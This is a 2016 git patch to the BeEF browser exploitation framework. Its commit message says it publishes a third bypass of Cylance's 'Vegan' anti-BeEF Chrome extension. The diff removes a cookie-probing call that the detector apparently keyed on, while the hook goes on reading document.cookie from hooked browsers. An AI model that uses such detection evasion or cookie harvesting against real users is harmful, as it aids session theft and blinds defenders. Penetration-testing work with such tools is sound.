From 9e3385cf4c6cb98fe96343117d545415514f94ed Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Mon, 4 Jul 2016 09:14:31 +0200 Subject: [PATCH] Had to publish the 3th bypass for Vegan anti-BeEF Chrome extension from Cylance. --- core/main/client/browser.js | 12 +++--------- core/main/client/browser/cookie.js | 1 + core/main/handlers/browserdetails.rb | 3 +-- 3 files changed, 5 insertions(+), 11 deletions(-) diff --git a/core/main/client/browser.js b/core/main/client/browser.js index 7226c1570..635dc7dfd 100644 --- a/core/main/client/browser.js +++ b/core/main/client/browser.js @@ -2680,18 +2680,12 @@ beef.browser = { var has_wmp = (beef.browser.hasWMP()) ? "Yes" : "No"; try { var cookies = document.cookie; - var veglol = beef.browser.cookie.veganLol(); - var has_session_cookies = (beef.browser.cookie.hasSessionCookies(veglol)) ? "Yes" : "No"; - var has_persistent_cookies = (beef.browser.cookie.hasPersistentCookies(veglol)) ? "Yes" : "No"; + /* Never stop the madness dear C. + * var veglol = beef.browser.cookie.veganLol(); + */ if (cookies) details['Cookies'] = cookies; - if (has_session_cookies) details['hasSessionCookies'] = has_session_cookies; - if (has_persistent_cookies) details['hasPersistentCookies'] = has_persistent_cookies; } catch (e) { - // the hooked origin is using HttpOnly. EverCookie is persisting the BeEF hook in a different way, - // and there is no reason to read cookies at this point details['Cookies'] = "Cookies can't be read. The hooked origin is most probably using HttpOnly."; - details['hasSessionCookies'] = "No"; - details['hasPersistentCookies'] = "No"; } if (browser_name) details['BrowserName'] = browser_name; diff --git a/core/main/client/browser/cookie.js b/core/main/client/browser/cookie.js index 6eeea7d1d..49e099158 100644 --- a/core/main/client/browser/cookie.js +++ b/core/main/client/browser/cookie.js @@ -72,6 +72,7 @@ beef.browser.cookie = { ";expires=Thu, 01-Jan-1970 00:00:01 GMT"; }, + /* Never stop the madness dear C. */ veganLol: function (){ var to_hell= ''; var min = 17; diff --git a/core/main/handlers/browserdetails.rb b/core/main/handlers/browserdetails.rb index abe4cc485..403f2be5d 100644 --- a/core/main/handlers/browserdetails.rb +++ b/core/main/handlers/browserdetails.rb @@ -323,8 +323,7 @@ module BeEF components = [ 'VBScriptEnabled', 'HasFlash', 'HasPhonegap', 'HasGoogleGears', 'HasWebSocket', 'HasWebRTC', 'HasActiveX', - 'HasQuickTime', 'HasRealPlayer', 'HasWMP', - 'hasSessionCookies', 'hasPersistentCookies' + 'HasQuickTime', 'HasRealPlayer', 'HasWMP' ] components.each do |k| v = get_param(@data['results'], k)